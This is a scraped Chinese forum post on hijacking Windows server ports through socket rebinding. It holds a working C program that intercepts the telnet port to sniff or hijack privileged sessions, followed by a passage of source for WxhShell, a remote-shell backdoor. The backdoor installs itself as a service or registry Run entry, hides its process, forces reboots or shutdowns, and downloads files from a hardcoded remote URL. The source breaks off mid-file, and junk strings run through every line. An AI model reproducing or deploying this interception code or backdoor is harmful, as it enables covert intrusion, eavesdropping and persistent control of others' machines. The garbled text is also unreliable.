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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =JmT:enV  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D+>1]ij  
t%8d-+$  
  saddr.sin_family = AF_INET; U,LTVYrO  
A~mum+[5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); A@Dw<.&_I  
7VP32Eh[  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); B/n[m@O  
k?7 X3/O  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 nl9P, d  
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  这意味着什么?意味着可以进行如下的攻击: 0Zg%+)iy@  
+sJrllrE(  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4 uQT5  
2@ Z(P.Gh  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) twx[ s$O'b  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Z:_D0jG  
Ox@P6|m  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  jQ)T67  
!Ta>U^ 7  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }-@`9(o`)  
v~Y^r2  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :GJ &_YHf  
wKsT7c'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /S lYm-uQ+  
^53r/V}%  
  #include Kde9 $  
  #include nb>7UN.9  
  #include &ZQJ>#~j^  
  #include    u#@Q:tnN_  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4f;HQ-Iv  
  int main() {.?/)  
  { 71{p+3Z&  
  WORD wVersionRequested; k|!EDze43?  
  DWORD ret; O &-wxJ]S  
  WSADATA wsaData; ]H1I,`=@  
  BOOL val; 9cj9SB4  
  SOCKADDR_IN saddr; LA)[ip4  
  SOCKADDR_IN scaddr; %?Ev|:i`@  
  int err; ~T89_L  
  SOCKET s; mN19WQ(r  
  SOCKET sc; 6!(@@^7{*  
  int caddsize; Q0ON9gqqv  
  HANDLE mt; \0gM o&  
  DWORD tid;   #KiRfx4G  
  wVersionRequested = MAKEWORD( 2, 2 ); }3L@J8:D"  
  err = WSAStartup( wVersionRequested, &wsaData ); A\.GV1  
  if ( err != 0 ) { 1&U>,;]*  
  printf("error!WSAStartup failed!\n"); Zp# v Hs  
  return -1; 0/oyf]HR  
  } }_68j8`  
  saddr.sin_family = AF_INET; l c '=mA  
   c7FRI0X  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 -Zz$~$  
w4d--[Q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [2{1b`e  
  saddr.sin_port = htons(23); ^R@j=_8}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wg]j+r@  
  { yYH0v7vx+  
  printf("error!socket failed!\n"); |x-S&-  
  return -1; 8M`#pN^  
  } HF.^ysI  
  val = TRUE; 82DmG@"s2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的  ({=gw9f  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;/rXQe1  
  { I}vmU^Y>  
  printf("error!setsockopt failed!\n"); !dC<4qZ\C  
  return -1; x3"#POp  
  } }x wu*Zx  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; JC3m.)/  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >L 0_dvr  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 h^o{@/2  
E3iW-B8u8  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :B:"NyPA  
  { 6 M*O{f  
  ret=GetLastError(); n= u&uqA*  
  printf("error!bind failed!\n"); 6Avw-}.7>  
  return -1; E!P yL>){  
  } 81i655!Z  
  listen(s,2); L# 2+z@g  
  while(1) Z7?~S2{c  
  { :65~[$2  
  caddsize = sizeof(scaddr); dp*u9z~NA  
  //接受连接请求 [F6U+1n8e  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); TBT:/Vfun  
  if(sc!=INVALID_SOCKET) k|H:  
  { *N<&GH(j  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); vCw e'q`1  
  if(mt==NULL) ]3 l9:|  
  { iB& 4>+N+  
  printf("Thread Creat Failed!\n"); j_. 5r&w  
  break; t8+X%-r  
  } ]@Uq=?%  
  } |VNnOM  
  CloseHandle(mt); nPy$D-L,  
  } _<OSqE  
  closesocket(s); vG"=h%  
  WSACleanup(); uD @#  
  return 0; DS[#|  
  }   n@,G8=J?  
  DWORD WINAPI ClientThread(LPVOID lpParam) e8#h3lxJ`  
  { Yd~X77cv  
  SOCKET ss = (SOCKET)lpParam; F ;2w1S^  
  SOCKET sc; cj'}4(  
  unsigned char buf[4096]; o_^?n[4  
  SOCKADDR_IN saddr; `I,,C,{C  
  long num; n*{sTT  
  DWORD val; <t \H^H!  
  DWORD ret;  N#a$t&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 D5*q7A6  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   LBa[:j2  
  saddr.sin_family = AF_INET; 3 C<L  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); cZ2kYn 8  
  saddr.sin_port = htons(23); [CXrSST")E  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZP\-T*)l$  
  { /VN f{p  
  printf("error!socket failed!\n"); ]33>m|?@  
  return -1; ?}U(3  
  } lUvpszH=  
  val = 100; )j0TeE1R  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) In<n&ib  
  { m~-K[+ya`D  
  ret = GetLastError(); m1M t#@,$  
  return -1; &RnTzqv  
  } l)&X$3?tz  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ''\O v  
  { Dw<bn<e-  
  ret = GetLastError(); +N:o-9  
  return -1; zM(vr"U   
  } X6@WwM~qz  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~3WF,mW  
  { V^Q#:@0  
  printf("error!socket connect failed!\n"); yU-e3O7L  
  closesocket(sc); sWc*5Rt  
  closesocket(ss); \Yc'~2n  
  return -1; 0,89H4  
  } V#S9H!hm$  
  while(1) E(8* pI  
  { m;GbLncA  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8)10o,#L  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 rFj-kojg  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9vGu0Um  
  num = recv(ss,buf,4096,0); |m^k_d!d  
  if(num>0) F|e1"PkeoA  
  send(sc,buf,num,0); U<_3^  
  else if(num==0) -v]Sr33L  
  break; K k-S}.E  
  num = recv(sc,buf,4096,0); G <i@ 5\#  
  if(num>0) iiS-9>]/  
  send(ss,buf,num,0); ]);%wy{Ho  
  else if(num==0) Hn%xDJ'  
  break; (2^gVz=j  
  } 2[O&NdP\Zk  
  closesocket(ss); /2=#t-p+  
  closesocket(sc); GycSwQ ,  
  return 0 ; 3@M|m<_R$  
  } { + Zd*)M[  
Pa V@aM~3  
`\#B18eU  
========================================================== `OXpU,Z 6U  
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下边附上一个代码,,WXhSHELL 8TLgNQP  
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========================================================== (nlvl?\d  
p8h9Ng* &`  
#include "stdafx.h" ;; C?{  
d9;g]uj`  
#include <stdio.h> _lGdUt 2  
#include <string.h> |yQZt/*SOZ  
#include <windows.h> C1m]*}U  
#include <winsock2.h> w~"KA6^  
#include <winsvc.h> Kgi<UkFP  
#include <urlmon.h> X[&Wkr8x '  
ymx>i~>7J  
#pragma comment (lib, "Ws2_32.lib") ZaV8qAsP  
#pragma comment (lib, "urlmon.lib") ['B?i1 .  
&:dH,  
#define MAX_USER   100 // 最大客户端连接数 Q;43[1&3w  
#define BUF_SOCK   200 // sock buffer gy 3i+J  
#define KEY_BUFF   255 // 输入 buffer rA5=dJ"I  
x7jC)M<k0  
#define REBOOT     0   // 重启 X.f>'0i  
#define SHUTDOWN   1   // 关机 O&4SCVZp  
AP7Yuv`  
#define DEF_PORT   5000 // 监听端口 ]+XYEv  
xp }hev^@$  
#define REG_LEN     16   // 注册表键长度 2(u,SQ  
#define SVC_LEN     80   // NT服务名长度 G IT>L  
Y&d00  
// 从dll定义API WJkZ!O$"j  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E[@ u 3i8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $RIecv<e_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); t\{'F7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &]v4@%<J  
vY${;#~|  
// wxhshell配置信息 R`DKu=  
struct WSCFG { Nn~~!q  
  int ws_port;         // 监听端口 jr /pj?  
  char ws_passstr[REG_LEN]; // 口令 x7:s]<kE  
  int ws_autoins;       // 安装标记, 1=yes 0=no C)@y5. G;  
  char ws_regname[REG_LEN]; // 注册表键名 a!< 8\vzg  
  char ws_svcname[REG_LEN]; // 服务名 si`A:14R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 52 fA/sx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Crho=RJPR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %|g>%D3Z?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no TDFkxB>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #LL?IRH9^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _aad=BrMK  
k.vBj~xU  
}; 7VqM$I  
/%}*Xh  
// default Wxhshell configuration ;#xmQi'`  
struct WSCFG wscfg={DEF_PORT, gQxbi1!;9  
    "xuhuanlingzhe", s.N7qO^:E  
    1, G-xDN59K  
    "Wxhshell", P"y`A}Bx  
    "Wxhshell", / ';0H_  
            "WxhShell Service", juka0/  
    "Wrsky Windows CmdShell Service", pQ=>.JU  
    "Please Input Your Password: ", Y;@>b{s  
  1, 1zm ulj%&  
  "http://www.wrsky.com/wxhshell.exe", Z~oo;xE  
  "Wxhshell.exe" 5iz{op<$,  
    }; 5!DBmAB  
wQP^WzNE  
// 消息定义模块 e vrXo"3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9[b<5Llt  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q[vJqkgT  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; wRcAX%n&  
char *msg_ws_ext="\n\rExit."; CFzNwgv]z  
char *msg_ws_end="\n\rQuit."; Rz bj  
char *msg_ws_boot="\n\rReboot..."; ^)(bM$(`  
char *msg_ws_poff="\n\rShutdown..."; q>$ev)W  
char *msg_ws_down="\n\rSave to "; lef2X1w}!  
v 1z  
char *msg_ws_err="\n\rErr!"; \K@'Z  
char *msg_ws_ok="\n\rOK!"; Cjqklb/  
iop2L51eJ  
char ExeFile[MAX_PATH]; C([phT;  
int nUser = 0; 3L833zL  
HANDLE handles[MAX_USER]; e+$p9k~  
int OsIsNt; +$C 4\$t  
8jd;JPz@\  
SERVICE_STATUS       serviceStatus; P `}zlml  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %QH)'GJQ  
|Y$uqRdV  
// 函数声明 *)ardZV${  
int Install(void); 1crnm J!C  
int Uninstall(void); s }UjGFP  
int DownloadFile(char *sURL, SOCKET wsh); UDL!43K  
int Boot(int flag); +Z7th7W/,  
void HideProc(void); zEd0Tmt  
int GetOsVer(void); r=5{o 1"  
int Wxhshell(SOCKET wsl); >XY`*J^  
void TalkWithClient(void *cs); 5R'TcWf#W  
int CmdShell(SOCKET sock); (qqOjz   
int StartFromService(void); vwjPmOjhS  
int StartWxhshell(LPSTR lpCmdLine); rai3<_W<  
ROg(U8 N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0fb`08,^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); u.d).da  
pP*zq"o  
// 数据结构和表定义 C\/xl#e<@  
SERVICE_TABLE_ENTRY DispatchTable[] = co~Pyj  
{ :=/85\P0SU  
{wscfg.ws_svcname, NTServiceMain}, i@P)a'W_  
{NULL, NULL} < ,Ue 0  
}; ?o oe'V@  
wfU7G[  
// 自我安装 l>Z5 uSG  
int Install(void) .z)%)PVV  
{ w[9|cgCY  
  char svExeFile[MAX_PATH]; Bg&i63XL$$  
  HKEY key; /2UH=Q!x4E  
  strcpy(svExeFile,ExeFile); ;A|-n1e>Hc  
0y 7"SiFY  
// 如果是win9x系统,修改注册表设为自启动 -BRc8 /  
if(!OsIsNt) { bSfpbo4(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6|aKL[%6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jGXO\:s O  
  RegCloseKey(key); ofPHmh`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UUzYbuS>&l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =NnNN'}  
  RegCloseKey(key); m@"QDMHk.  
  return 0; #JgH}|&a$  
    } W%T>SpFl  
  } 73V|6tmgY  
} tSVc|j  
else { qQA}Z*( m  
q*F{/N **  
// 如果是NT以上系统,安装为系统服务 dRj|g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); LV\DBDM  
if (schSCManager!=0) GB>QK  
{ rs,2rSsg!  
  SC_HANDLE schService = CreateService +V m}E0Ov  
  ( 2q3+0Et8  
  schSCManager, )Y2{_ bx4"  
  wscfg.ws_svcname, Gnfd;. (.  
  wscfg.ws_svcdisp, #0ETY\}ZD  
  SERVICE_ALL_ACCESS, ^aH \7J@Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5jd,{<  
  SERVICE_AUTO_START, 4a'N>eDR  
  SERVICE_ERROR_NORMAL, 62O.?Ij  
  svExeFile, Svondc 4  
  NULL, 7NDr1Z#B6V  
  NULL, 3gv|9T  
  NULL, ]z l [H7  
  NULL, 9cf:pXMi  
  NULL @!`Xl*l  
  ); }dp=?AFg  
  if (schService!=0) 2.%.Z_k)  
  { ^C_#<m_k  
  CloseServiceHandle(schService); ppZDGpp  
  CloseServiceHandle(schSCManager); {$R' WXVs  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); IB[)TZ2m  
  strcat(svExeFile,wscfg.ws_svcname); i'9vL:3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~~v3p>zRr  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?Lyxw]  
  RegCloseKey(key); {B[=?6tQ  
  return 0; 8-BflejX  
    } l-SAC3qhG  
  } &;+ -?k|  
  CloseServiceHandle(schSCManager); KVD8YfF  
} [-\%4  
} ^:#D0[  
h{AII  
return 1; OY:,D  
} Zn ''_fjh  
5[A@ gw0u  
// 自我卸载 .v$D13L(o  
int Uninstall(void) N'g>MBdI  
{ c2&q*]?l;  
  HKEY key; <)u`~$n2  
5qr'.m  
if(!OsIsNt) { b]x4o#t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W0l,cOOZJ  
  RegDeleteValue(key,wscfg.ws_regname); WN01h=1J_  
  RegCloseKey(key); %KmiH ;U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u/M+u;  
  RegDeleteValue(key,wscfg.ws_regname); w,h`s.AN  
  RegCloseKey(key); |962G1.  
  return 0; ]`kmjn  
  } !Cr(P e]  
} $4/yZaVb  
} MhR:c7,  
else { *.!Np9l,V  
Fxm$9(Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1UE6 4Kl:S  
if (schSCManager!=0)  #`o2Z  
{ qNYN-f~@,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4"(<X  
  if (schService!=0) S" xKL{5  
  { R:#k%}W  
  if(DeleteService(schService)!=0) { +R|z{M)*  
  CloseServiceHandle(schService); ; mZW{j  
  CloseServiceHandle(schSCManager); _NMm/]mN /  
  return 0; oZ!m  
  } MO n  
  CloseServiceHandle(schService); @ Wd9I;hWv  
  } E;+O($bA  
  CloseServiceHandle(schSCManager); 9D7+[`r(-  
} MBqt&_?K  
} i(>4wK!!  
LUqB&,a}  
return 1; wM2*#  
} MM (xk  
cNM3I,o7  
// 从指定url下载文件 1+}{8D_F  
int DownloadFile(char *sURL, SOCKET wsh) 8C67{^`::  
{ 9Hf9VC3   
  HRESULT hr; 5 N#3a0)  
char seps[]= "/"; )?X-(4  
char *token; v 8$>rwB  
char *file; )i !o8YB  
char myURL[MAX_PATH]; YbTxn="_  
char myFILE[MAX_PATH]; no< ^f]33  
HbXPok  
strcpy(myURL,sURL); |Z=^`J  
  token=strtok(myURL,seps); qI~xlW  
  while(token!=NULL) ]Bjyi[#bg  
  { *a#rM"6P  
    file=token; 4cl\^yD  
  token=strtok(NULL,seps); 0@H|n^Md#  
  } &NH$nY.r  
1 D<_N  
GetCurrentDirectory(MAX_PATH,myFILE); J"=vE=  
strcat(myFILE, "\\"); ^yyC [Mz  
strcat(myFILE, file); wtH? [>S;)  
  send(wsh,myFILE,strlen(myFILE),0); (2:/8\_P  
send(wsh,"...",3,0); UN]f"k&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @I_8T$N=  
  if(hr==S_OK) =8; {\  
return 0; aC%m-m  
else uF1~FKB  
return 1; @U3Vc|  
e^<#53!  
} QA5Qwe L  
HN&Z2v   
// 系统电源模块 Qj.l:9%  
int Boot(int flag) 4KH45|; 3  
{ ~%SH3$  
  HANDLE hToken; C4~;yhz  
  TOKEN_PRIVILEGES tkp; &?*V0luP)  
%jJ>x3$F  
  if(OsIsNt) { 9hOJvQ2U]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %we u 1f  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /+\uqF8F  
    tkp.PrivilegeCount = 1; dt`{!lts'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V&Xe!S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -3;*K4z$/  
if(flag==REBOOT) { SRrw0&ts  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) G-?d3 n  
  return 0; UG'9*(*  
} 5ZMR,SZhC  
else { 6y6<JR-V2k  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) DsT>3  
  return 0; l,,> & F  
} ,0hA'cp  
  } <-,gAk)u  
  else { N(y\dL=v  
if(flag==REBOOT) { 3>R#zJf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %=/)  
  return 0; ~Uxsn@nLr  
} uoXAQ6k  
else { L7V G`h;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \>7^f 3m  
  return 0; bZ|FnY}FB  
} UmQ?rS8d  
} 6bBB/yd  
[L:o`j  
return 1; xv&Q+HD  
} qeL5D*  
 }(1JaG  
// win9x进程隐藏模块 ~fT_8z  
void HideProc(void) m<0&~rg   
{ WV#%PJ  
v7DE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _ B 5gR  
  if ( hKernel != NULL ) OujCb^Rm  
  { 'rr^2d]`ST  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); il \$@Bn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p~9vP)74u  
    FreeLibrary(hKernel); sfOHarww  
  } D;_ MPN[  
G=A,9@+c  
return; T`Mf]s)*  
} -mRA#  
,;(PwJe  
// 获取操作系统版本 pGK;1gVj  
int GetOsVer(void) 9Iz%ht  
{ 3Ei5pX=g  
  OSVERSIONINFO winfo; `g6h9GC6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uvV;Mlo]  
  GetVersionEx(&winfo); v0YG,)_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) R8T] 2?Q1  
  return 1; '*k'i;2/1  
  else tWoh''@#  
  return 0; mGGsB5#w>  
} T9u<p=p  
"sl1vzRN  
// 客户端句柄模块 =<NljOR4`  
int Wxhshell(SOCKET wsl) R hvfC5Hq  
{ "B8"_D&  
  SOCKET wsh; Ns[ym>x#2  
  struct sockaddr_in client; S}ECW,K  
  DWORD myID; ]f_6 '|5 A  
9> g,  
  while(nUser<MAX_USER) W"k8KODOY  
{ Ce")[<:  
  int nSize=sizeof(client); ^4`Px/&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =@8H"&y`  
  if(wsh==INVALID_SOCKET) return 1; hQDTS>U  
r?*NhLG ;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (>I`{9x>6  
if(handles[nUser]==0) l+g9 5m jP  
  closesocket(wsh); pTyi!:g3W  
else 3Bx:Ntx<  
  nUser++; !ZI7&r`u;  
  } ;x8k[p~2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T7d9ChU\#.  
&2=dNREJ}1  
  return 0; K.z64/H:  
} ]Wq?H-B{  
SY^dWLf  
// 关闭 socket rJ!{/3e  
void CloseIt(SOCKET wsh) NM6Teu_  
{ P b]3&!a  
closesocket(wsh); U=o"32n+  
nUser--; ^=^z1M 2P  
ExitThread(0); k!KDWb  
} -~QHqU.  
8-Hsgf.*  
// 客户端请求句柄 Z+StB15  
void TalkWithClient(void *cs) 3:f[gV9K  
{ r@o6voX  
0`I-2M4F*Q  
  SOCKET wsh=(SOCKET)cs; DmBS0NyR7Y  
  char pwd[SVC_LEN]; ZKOXI%~Mc  
  char cmd[KEY_BUFF]; { vN}<f`  
char chr[1]; YNBHBK4;  
int i,j; ,s_T pq  
EgDQ+( -  
  while (nUser < MAX_USER) { H=\!2XS  
)5.C]4jol  
if(wscfg.ws_passstr) { W{rt8^1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &%_& 8DkG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @j4U^"_QB  
  //ZeroMemory(pwd,KEY_BUFF); Eb=#9f%y>&  
      i=0; vQa'S-@u  
  while(i<SVC_LEN) { kee|42E  
f7'q-  
  // 设置超时 a+9 *@z2  
  fd_set FdRead; AT\qiznvP  
  struct timeval TimeOut; F|HJH"2*&q  
  FD_ZERO(&FdRead); 6O22P?v  
  FD_SET(wsh,&FdRead); \J6hI\/4^  
  TimeOut.tv_sec=8; &V<W>Y>|l*  
  TimeOut.tv_usec=0; 7oR:1DX w|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ) 9oH,gZ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,.o<no  
U7DCx=B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DtEwW1J  
  pwd=chr[0]; $L2%u8}8:  
  if(chr[0]==0xd || chr[0]==0xa) { wV)}a5+  
  pwd=0; \xUe/=  
  break; !!:LJ  
  } wHem5E  
  i++; ;kJu$U  
    } 2Gs$?}"a  
hG_?8:W8HT  
  // 如果是非法用户,关闭 socket snt(IJQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7 uarh!  
} n 8pt\i0  
_6Eu2|vM&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7'-j%!#w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eJo3 MK  
/LM4- S  
while(1) { rO:u6."_  
cf7v[ZZ}  
  ZeroMemory(cmd,KEY_BUFF); z 8*8OWM  
KnNh9^4"\2  
      // 自动支持客户端 telnet标准   }rdIUlVO\  
  j=0; c0Dmq)HK?  
  while(j<KEY_BUFF) { }I!hOD>]O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  P N*JR  
  cmd[j]=chr[0]; olW|$?  
  if(chr[0]==0xa || chr[0]==0xd) { 6ITLGA  
  cmd[j]=0; *E~VKx1  
  break; 4TwQO$C  
  } 1[*{(e  
  j++; nSCWg=E^  
    } Ji;mHFZ*FU  
"W#t;;9Wz  
  // 下载文件 pfd#N[c  
  if(strstr(cmd,"http://")) { }N*>QR5K  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L@^~N$G&u  
  if(DownloadFile(cmd,wsh)) w~@-9<^K]v  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (.Lrmf@hI7  
  else lZQ /W:OE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $oLU; q%  
  } pU!o7>p  
  else { IAOcKQ3  
h)v^q: ='  
    switch(cmd[0]) { Oc&),ru2l  
  v[lnw} =m9  
  // 帮助 M]-VHI[&W  
  case '?': { K{l5m{:%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S }>n1F_  
    break; cMzkL%  
  } \NqEw@91B  
  // 安装 `E\imL  
  case 'i': { |7^^*UzSK:  
    if(Install()) UHGcnz<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .!}hhiF,Z  
    else /i)Hb`(S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IOK}+C0e  
    break; Uw<&Wm`'  
    } x>~p;z#VX  
  // 卸载 ~B$b)`*  
  case 'r': { !D o,>gO  
    if(Uninstall()) B/"2.,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _iE j  
    else gq5qRi`q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $A$@|]}p  
    break; +3,|"g::  
    } #~ Q8M*~@  
  // 显示 wxhshell 所在路径 WjMS5^ _  
  case 'p': { OSzjK7:  
    char svExeFile[MAX_PATH]; 2BzqY`O  
    strcpy(svExeFile,"\n\r"); :ZxLJK9x1  
      strcat(svExeFile,ExeFile); \nqo%5XL  
        send(wsh,svExeFile,strlen(svExeFile),0); :Au /2  
    break; )h^NR3N  
    } !CjqL~  
  // 重启 \Z/k;=Sla  
  case 'b': { ZB5?!.ND  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MF[z -7  
    if(Boot(REBOOT)) j K8'T_Pah  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P.sgRsL  
    else { k:#6^!b1  
    closesocket(wsh); l oqvi  
    ExitThread(0); Gowp <9 F  
    } a-n4:QT  
    break; Xev54!619  
    } 4%*hGh=  
  // 关机 /!Z^Y  
  case 'd': { sygH1|f  
